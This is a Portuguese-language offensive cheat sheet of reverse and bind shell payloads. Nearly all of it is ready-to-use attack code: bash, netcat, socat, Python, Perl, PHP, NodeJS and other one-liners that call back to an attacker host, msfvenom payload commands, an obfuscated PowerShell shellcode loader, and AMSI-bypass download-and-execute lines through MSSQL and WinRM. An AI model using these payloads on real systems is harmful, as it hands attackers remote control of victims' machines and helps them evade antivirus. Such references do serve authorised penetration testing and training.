Reverse Shell
Caso precise, no Kali vem alguns WebShell disponíveis em /usr/share/webshells/
.
Sempre quando for executar uma shell reversa no Burp Suite e pressione CTRL
+U
para encodar o payload.
Reverse Shell x Bind Shell
Apesar de ambos terem o mesmo objetivo, a forma de realizar a conexão é tem uma pequena diferença, a direção de acesso. No Blind Shell
, o host alvo irá abrir uma porta para o atacante se conectar, já no Reverse Shell
, é o host atacante quem abre uma porta e faz com que o host alvo se conecte nela.
Melhorando o Visual da Shell
Devido a muitas vezes conseguirmos pegar uma shell que não possui um bom retorno, funcionalidades como vi
não funcionam, CTRL
+C
encerra a sessão, não temos histórico de comandos, etc, por isso devemos deixar nossa shell mais estável.
# Dentro da shell reversa
python -c 'import pty; pty.spawn("/bin/bash")'
CTRL+Z
# Agora já no terminal do atacante
stty raw -echo
# Quando digitar esse comando, não irá aparecer o que está digitando, mas continue mesmo assim
fg
ENTER (2x)
# Dentro da shell reversa
reset
export SHELL=bash
export TERM=xterm-256color
# No terminal do host (fora da reverse shell) maximize o terminal e veja os valores de "rows" e "columns" com o comando
stty -a
# Agora volte para o terminal da reverse shell e defina "rows" e "columns" com o mesmo valor retornado no comando acima
stty rows <num> columns <cols>
Mais comandos para Spawning TTY
# Estes continuam com problemas de `CTRL`+`C` e histórico de comandos
python -c 'import pty; pty.spawn("/bin/bash")'
python -c 'import pty; pty.spawn("/bin/sh")'
echo os.system('/bin/bash')
/bin/sh -i
/bin/bash -i
perl -e 'exec "/bin/sh";'
perl: exec "/bin/sh";
ruby: exec "/bin/sh"
lua: os.execute('/bin/sh')
# Dentro do IRB
exec "/bin/sh"
# Dentro do vi
:!bash
# Dentro do vi
:set shell=/bin/bash:shell
# Dentro do nmap
!sh
rlwrap
Deixa o netcat mais estável
rlwrap nc -nlvp <port>
Meterpreter
Caso tenha conseguido alguma shell no host alvo e não seja o Meterpreter, utilize o comando abaixo para atualizar sua shell para o Meterpreter:
sessions -u <session_id>
Msfvenom
Existem 2 tipos de Reverse Shell que pode ser feita com o msfvenom:
staged
= Esta divide o payload em pequenos pedaços. O Meterpreter em si é uma shell em etapas, primeiro ele envia algumas partes para configurar a conexão e depois envia um pouco mais. Este não pode ser acessado pelo Netcat.
non-staged
= Já este é enviado em blocos e pode ser executado tanto no Metasploit
quanto no Netcat
Stage Payload
msfvenom -p windows/shell/reverse_tcp LHOST=<ip> LPORT=<port> -f exe -o <file.exe>
msfconsole
use exploit/multi/handler
set payload windows/shell/reverse_tcp
OBS.: Utilize o Meterpreter, caso achar necessário
Non-Stage Payload
msfvenom -p windows/shell_reverse_tcp LHOST=<port> LPORT=<port> -f exe -o <file.exe>
PHP (Web-Shell)
Esse php-shell é independente do sistema operacional. Você pode usá-lo no Linux e no Windows.
msfvenom -p php/meterpreter_reverse_tcp LHOST=<ip> LPORT=<port> -f raw > shell.php
msfvenom -p php/reverse_php LHOST=<ip> LPORT=<port> -f raw > shell.php
ASP (Web-Shell)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ip> LPORT=<port> -f asp > shell.asp
OBS.: Altere de asp
para aspx
caso seja necessário
War (Web-Shell)
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<ip> LPORT=<port> -f war > shell.war
JSP (Web-Shell)
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<ip> LPORT=<port> -f raw > shell.jsp
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<ip> LPORT=<port> -o shell.jsp
OS
Executando um comandos no SO
msfvenom -p windows/exec CMD=<command> -f exe -o <output.exe>
Villain
Abre uma Reverse Shell que aceita múltiplas conexões, gerando assim várias sessões que podem ser acessadas a qualquer momento. Para gerar o payload, utilize o comando abaixo e execute a saída do comando no host alvo. Quando a vítima executar o comando, será aberta a sessão no próprio Villian
generate os=<windows|linux> lhost=<interface_rede> obfuscate
Para visualizar as sessões que estão ativas, execute:
sessions
Para acessar uma determinada sessão, execute:
shell <session_id>
Curl
Este não é de fato o responsável pelo Shell Reverso, mas com ele é possível baixar e executar determinado arquivo com o comando abaixo:
source <(curl -s http://<ip_atacante>/<shell.py>)
Bash TCP
bash -i >& /dev/tcp/<ip_atacante>/<port> 0>&1
echo < /dev/tcp/<ip>/<port> | bash
bash -c 'bash -i >& /dev/tcp/<ip_atacante>/<port> 0>&1'
0<&196;exec 196<>/dev/tcp/<ip_atacante>/<port>; sh <&196 >&196 2>&196
Bash UDP
sh -i >& /dev/udp/<ip_atacante>/<port> 0>&1
# Execução na máquina atacante
nc -u -lvp <port>
Windows
msfvenom
Criando executável
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ip_atacante> LPORT=<port> -f exe -o <file.exe>
Deixe o Netcat em modo listener com o comando abaixo e execute o executável gerado com o comando acima no Windows.
nc -nlvp <port>
Bypass Powershell
Primeiro execute o código abaixo para deixarmos o Metasploit no modo listener
msfconsole -x "set LHOST <IP>; set LPORT <PORT>; use exploit/multi/handler; set payload windows/meterpreter/reverse_tcp; set EnableStageEncoding true; set StageEncoder x86/xor_dynamic; run"
Execute o script abaixo na máquina alvo
$ip = "<ip_atacante>"; $port = <port>; $c = @"
[D#ll#Imp#ort("ker#ne#l32.#dll")] publi#c static e#xtern In#tPtr Virt#ualAl#loc(Int#Ptr w, ui#nt x, ui#nt y, ui#nt z);
[Dl#lI##mpor#t("kern#el32.d#ll")] pub#lic st#atic ex#tern Int#Ptr Cr#eate#Thr#ead(Int#Ptr u, u#int v, IntP#tr w, Int#Ptr x, ui#nt y, IntPtr z);
"@.replace("#", "")
try{$s = New-Object System.Net.Sockets.Socket ([System.Net.Sockets.AddressFamily]::InterNetwork, [System.Net.Sockets.SocketType]::Stream, [System.Net.Sockets.ProtocolType]::Tcp)
$s.Connect($ip, $port) | out-null; $p = [Array]::CreateInstance("byte", 4); $x = $s.Receive($p) | out-null; $z = 0
$y = [Array]::CreateInstance("byte", [BitConverter]::ToInt32($p,0)+5); $y[0] = 0xBF
while ($z -lt [BitConverter]::ToInt32($p,0)) { $z += $s.Receive($y,$z+5,1,[System.Net.Sockets.SocketFlags]::None) }
for ($i=1; $i -le 4; $i++) {$y[$i] = [System.BitConverter]::GetBytes([int]$s.Handle)[$i-1]}
$t = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru; $x=$t::VirtualAlloc(0,$y.Length,0x3000,0x40)
[System.Runtime.InteropServices.Marshal]::Copy($y, 0, [IntPtr]($x.ToInt32()), $y.Length)
$t::CreateThread(0,0,$x,0,0,0) | out-null; Start-Sleep -Second 86400; Start-Sleep -Second 86400; Start-Sleep -Second 86400; Start-Sleep -Second 86400}catch{}
Abaixo segue outras maneiras, que podem ser porém utilizando o netcat como listener
Set-Alias -Name K -Value Out-String
Set-Alias -Name nothingHere -Value iex
$BT = New-Object "S`y`stem.Net.Sockets.T`CPCl`ient"($args[0],$args[1]);
$replace = $BT.GetStream();
[byte[]]$B = 0..(32768*2-1)|%{0};
$B = ([text.encoding]::UTF8).GetBytes("(c) Microsoft Corporation. All rights reserved.`n`n")
$replace.Write($B,0,$B.Length)
$B = ([text.encoding]::ASCII).GetBytes((Get-Location).Path + '>')
$replace.Write($B,0,$B.Length)
[byte[]]$int = 0..(10000+55535)|%{0};
while(($i = $replace.Read($int, 0, $int.Length)) -ne 0){;
$ROM = [text.encoding]::ASCII.GetString($int,0, $i);
$I = (nothingHere $ROM 2>&1 | K );
$I2 = $I + (pwd).Path + '> ';
$U = [text.encoding]::ASCII.GetBytes($I2);
$replace.Write($U,0,$U.Length);
$replace.Flush()};
$BT.Close()
$J = New-Object System.Net.Sockets.TCPClient($args[0],$args[1]);
$SS = $J.GetStream();
[byte[]]$OO = 0..((2-shl(3*5))-1)|%{0};
$OO = ([text.encoding]::UTF8).GetBytes("Copyright (C) 2022 Microsoft Corporation. All rights reserved.`n`n")
$SS.Write($OO,0,$OO.Length)
$OO = ([text.encoding]::UTF8).GetBytes((Get-Location).Path + '>')
$SS.Write($OO,0,$OO.Length)
[byte[]]$OO = 0..((2-shl(3*5))-1)|%{0};
while(($A = $SS.Read($OO, 0, $OO.Length)) -ne 0){;$DD = (New-Object System.Text.UTF8Encoding).GetString($OO,0, $A);
$GG = (i`eX $DD 2>&1 | Out-String );
$H = $GG + (pwd).Path + '> ';
$L = ([text.encoding]::UTF8).GetBytes($H);
$SS.Write($L,0,$L.Length);
$SS.Flush()};
$J.Close()
$c = New-Object System.Net.Sockets.TCPClient($args[0],$args[1]);
$I = $c.GetStream();
[byte[]]$U = 0..(2-shl15)|%{0};
$U = ([text.encoding]::ASCII).GetBytes("Copyright (C) 2021 Microsoft Corporation. All rights reserved.`n`n")
$I.Write($U,0,$U.Length)
$U = ([text.encoding]::ASCII).GetBytes((Get-Location).Path + '>')
$I.Write($U,0,$U.Length)
while(($k = $I.Read($U, 0, $U.Length)) -ne 0){;$D = (New-Object System.Text.UTF8Encoding).GetString($U,0, $k);
$a = (iex $D 2>&1 | Out-String );
$r = $a + (pwd).Path + '> ';
$m = ([text.encoding]::ASCII).GetBytes($r);
$I.Write($m,0,$m.Length);
$I.Flush()};
$c.Close()
Linux
Binário
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<ip> LPORT=<port> -f elf > shell.elf
Bash
bash -i >& /dev/tcp/<ip>/<port> 0>&1
bash -c "bash -i >& /dev/tcp/<ip>/<port> 0>&1"
/bin/sh -c "nc -e /bin/sh <ip_atacante> <port>"
FreeBSD
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet <ip> <port> > /tmp/f
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i |telnet <ip> <port> > /tmp/f
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i |nc <ip> <port> > /tmp/f
Netcat
Bind Shell
# Alvo Linux
nc -lvp <port> -e /bin/bash
# Alvo Windows
nc.exe -nlvp <port> -e cmd.exe
# Atacante
nc -v <ip> <port>
Reverse Shell
# Linux
nc <ip> <port> -e /bin/bash
nc -c bash <ip> <port>
nc -lvp <port>
# Windows
nc -lvp 443
nc.exe -v <ip> 443 -e cmd.exe
# MacOS
exec 3> >(nc <ip> <port>)
Com Flag -e
nc -e /bin/sh <ip> <port>
# Ou
/bin/sh | nc <ip> <port>
Sem Flag -e
Nem toda versão do Netcat tem a opção -e
rm -f /tmp/p; mknod /tmp/p p && nc <ip> <port> 0/tmp/p
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ip> <port> >/tmp/f
Salvando a saída
Útil para estudar quais comandos o atacante está utilizando.
# Alvo
nc -lnvp <port> -o <output.txt>
# Atacante
nc <ip> <port>
Executando comando (não interativo)
# Alvo
<command> | nc <ip_hacker> <port>
# Atacante
nc -lvnp <port>
NOTA: Acima vimos exemplos onde executamos um comando no host alvo e enviamos a saída do comando para o host atacante. Isso é útil quando executamos o netcat, criamos uma conexão porém não conseguimos executar comandos. Caso queria, adicione o parâmetro -k (keep alive) no comando nc do host atacante para manter a conexão aberta enquanto recebe a saída dos comandos.
Ncat
Bind
ncat --exec cmd.exe --allow <ip> -vnl <port> --ssl
ncat -v <ip> <port> --ssl
Socat
Abaixo possui um site para baixar o código do socat (caso a vítima não tenha instalado) e, assim que definir qual a arquitetura correta, execute como no comando abaixo:
wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<ip>:<port>
DICA: Todos os exemplos abaixo estão utilizando o protocolo TCP, porém podemos utilizar UDP, apena susbstituindo onde está escrito TCP para UDP. Note também que os parâmetros do socat são case-insensitive.
Método 1
# Alvo
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<ip_atacante>:<port>
# Atacante
socat file:`tty`,raw,echo=0 tcp-listen:<port>
Método 2
# Atacante
socat - tcp4-listen:<port>
# Alvo
nc -nv <ip_atacante> <port> -e /bin/bash
Método 3
# Atacante
nc -vlnp <port> -e /bin/bash
# Alvo
socat - tcp4:<ip>:<port>
Método 4
# Atacante
nc -vnlp <port>
# Alvo
socat tcp4:<ip>:<port> EXEC:/bin/bash
Método 5
# Alvo
socat TCP-LISTEN:<port>,reuseaddr,pf=ip4,fork -
# Atacante
socat TCP:127.0.0.1:4000 -
Método 6
# Alvo
socat UNIX-LISTEN:./mysther.sock,fork -
# Atacante
socat UNIX-CONNECT:./mysther.sock -
Método 7
# Alvo
socat tcp-l:<port>,fork system:/bin/bash
# Atacante
socat - TCP:<ip>:<port>
Perl
# Linux
perl -e 'use Socket;$i="<ip_atacante>";$p=<port>;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
# Windows
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"<ip>:<port>");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
perl -e 'use Socket;$i="<ip>";$p=<port>;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Python 2.7
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<ip_atacente>",<port>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Python 3
# Execução na máquina alvo
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<ip_atacante>",<port>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
# Execução na máquina atacante
nc -lvp <port>
OBS.: Caso não consiga utilizar comandos dentro do eval
como import os
, substitua por __import__('os').system('whoami')
PHP
# Host alvo
exec("/bin/bash -c 'bash -i >& /dev/tcp/<ip_atacante>/<port> 0>&1'");
system("0<&196;exec 196<>/dev/tcp/<ip_atacante>/<port>; sh <&196 >&196 2>&196")
# Host atacante
nc -lvp <port>
Metasploit
# Host alvo. Se não funcionar, tente com 4, 5 ou 6
php -r '$sock=fsockopen("<ip_atacante>",<port>);exec("/bin/sh -i <&3 >&3 2>&3");'
# Host atacante
msfconsole -q
use exploit/multi/handler
set payload php/reverse_php
set LHOST <ip_atacante>
exploit
Ruby
ruby -rsocket -e'f=TCPSocket.open("<ip_atacante>",<port>).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
PowerShell (Invoke-PowerShell)
Insira no final do arquivo (Pesquisar se o arquivo está em ou baixar no Git).
Encontre o arquivo Invoke-PowerShellTcp.ps1
(geralmente está em /usr/share/nishang/Shells
), copie para seu diretório atual (para manter o arquivo original) e insira a seguinte linha no final do arquivo:
Invoke-PowerShellTcp -Reverse -IPAddress <ip_atacante> -Port <port>
Em outro terminal, deixe o arquivo disponível para o alvo com o comando python -m SimpleHTTPServer
# Máquina Alvo
IEX(New-Object Net.WebClient).downloadString('http://<site.com>/<shell.ps1>')
# Máquina Atacante
nv -lvp <port>
OBS.: Veja nos sites abaixo, uma lista de shell para PowerShell
Powershell (msfvenom)
Crie o Payload com o comando abaixo
sudo msfvenom --payload windows/x86/meterpreter_reverse_tcp --format psh --out out.ps1 LHOST=<ip_atacante> LPORT=<port>
Agora digite os seguintes comandos:
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST <ip_atacante>
set LPORT <port>
exploit
Execute na máquina alvo com o comando iex
(vide página de Powershell)
PowerShell (Manual)
Note que em alguns momentos (aqui e em outros exemplos) estamos utilizando o parâmetro -nop
do powershell, que é uma abreviação de -NoProfile
. Isso instrui o Powershell a não carregar o perfil de usuário. Quando o PowerShell é iniciado, por padrão, ele carrega os scripts de perfil de qualquer usuário existente, o que pode afetar negativamente a execução do nosso código. Essa opção evitará esse possível problema.
# Execute no host alvo
powershell -nop -exec bypass -c "$client = New-Object System.Net.Sockets.TCPClient('<ip>',<port>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
# Execute no host atacante
nc -lvp <port>
Microsoft SQL Server (MSSQL)
USE msdb;EXEC msdb.dbo.sp_delete_job @job_name = N'PowershellExec';EXEC dbo.sp_add_job @job_name = N'PowershellExec';EXEC sp_add_jobstep @job_name = N'PowershellExec', @step_name = N'test_powershell_name1', @subsystem = N'PowerShell', @command = N'powershell -noexit -c "iex (iwr -UseBasicParsing http://<ip>:<port>/amsibypass)"', @retry_attempts = 1, @retry_interval = 5;EXEC dbo.sp_add_jobserver @job_name = N'PowershellExec';EXEC dbo.sp_start_job N'PowershellExec'
WinRM (Autenticado)
$passwd = ConvertTo-SecureString '<pass>' -AsPlainText -Force
creds = New-Object System.Management.Automation.PSCredential ("<domain>\<user>", $passwd)
server = New-PSSession <ip> -Credential $creds ; Invoke-Command -ScriptBlock{iex (iwr -UseBasicParsing http://<ip>/amsibypass) ; iex (iwr -UseBasicParsing http://<ip>/payload.ps1)} -Session $server
Base64 Encoding
Primeiro vamos encodar nosso payload. Como exemplo vamos pegar o reverse shell em bash, mas pode ser qualquer outro
echo 'bash -i >& /dev/tcp/<ip_atacante>/<port> 0>&1' | base64
Agora pegue o resultado do comando acima para montar o comando o abaixo
echo <base64>|base64 -d|bash
VILLAIN
Abre uma Reverse Shell que aceita múltiplas conexões, gerando assim várias sessões que podem ser acessadas a qualquer momento. Para gerar o payload, utilize o comando abaixo e execute a saída do comando no host alvo. Quando a vítima executar o comando, será aberta a sessão no próprio Villian
generate os=<windows|linux> lhost=<interface_rede> obfuscate
Para visualizar as sessões que estão ativas, execute:
sessions
Para acessar uma determinada sessão, execute:
shell <session_id>
NodeJS
# Execução na máquina alvo
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(8080, "<ip_atacante>", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application form crashing
})();
# Execução na máquina atacante
nc -lvp 8080
LUA
# Somente em Linux
lua -e "require('socket');require('os');t=socket.tcp();t:connect('<ip_atacante>','<port>');os.execute('/bin/sh -i <&3 >&3 2>&3');"
Xterm
# O seguinte comando deve ser executado no alvo. Ele tentará se conectar de volta a você na porta TCP 6001
xterm -display <ip_atacante>:1
# Inicie um X-Server (: 1 - que escuta na porta TCP 6001), usando o Xnest no IP do atacante
Xnest :1
# Agora autorize o destino a se conectar a você (IP do atacante)
xhost +targetip
PHP
Crie o Payload com o comando
sudo msfvenom -p php/meterpreter/reverse_tcp LHOST=<ip_atacante> LPORT=<port> -f raw
Será mostrado na tela o código, onde deverá ser enviado para o alvo web.
Agora digite os seguintes comandos:
msfconsole
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set LHOST <ip_atacante>
set LHOST <port>
exploit -j -Z
JAVA
# Use netcat para pegar a shell
sudo msfvenom -p java/jsp_shell_reverse_tcp LHOST=<ip> LPORT=<port> -f war > <file.war>
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/<ip>/<port>;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
# Ou
Runtime run = Runtime.getRuntime();
String[] commands = new String[] { "/usr/bin/nc", "-l","-p", "<port>", "-e", "/bin/sh" };
run.exec(<command>);
Telnet
rm -f /tmp/p; mknod /tmp/p p && telnet <ip> <port> 0/tmp/p
telnet <ip> <port> | /bin/bash | telnet <ip> <other_port>
Gawk
#!/usr/bin/gawk -f
BEGIN {
Port = 8080
Prompt = "bkd> "
Service = "/inet/tcp/" Port "/0/0"
while (1) {
do {
printf Prompt |& Service
Service |& getline cmd
if (cmd) {
while ((cmd |& getline) > 0)
print $0 |& Service
close(cmd)
}
} while (cmd != "exit")
close(Service)
}
}
Sites
# Diversas Shells
https://highon.coffee/blog/reverse-shell-cheat-sheet/
# Bypass para Reverse Shell em Windows
https://github.com/tihanyin/PSSW100AVB
# Reverse Shell com Bypass do Windows Defender
https://github.com/t3l3machus/hoaxshell
# Villain
https://github.com/t3l3machus/Villain.git
# Webshell PHP
https://github.com/Arrexel/phpbash
# Scripts para deixar a shell Python interativa
https://github.com/infodox/python-pty-shells.git
# Código para executar o socat (caso não tenha instalado)
https://github.com/andrew-d/static-binaries
# Modos de deixar o shell com melhor interatividade e estabilidade
https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/
# Mascarando o IP em octal. Útil para shell reversa ou transferir arquivos.
https://www.browserling.com/tools/ip-to-oct
# PowerShell
https://github.com/samratashok/nishang.git
http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md
Last updated
Was this helpful?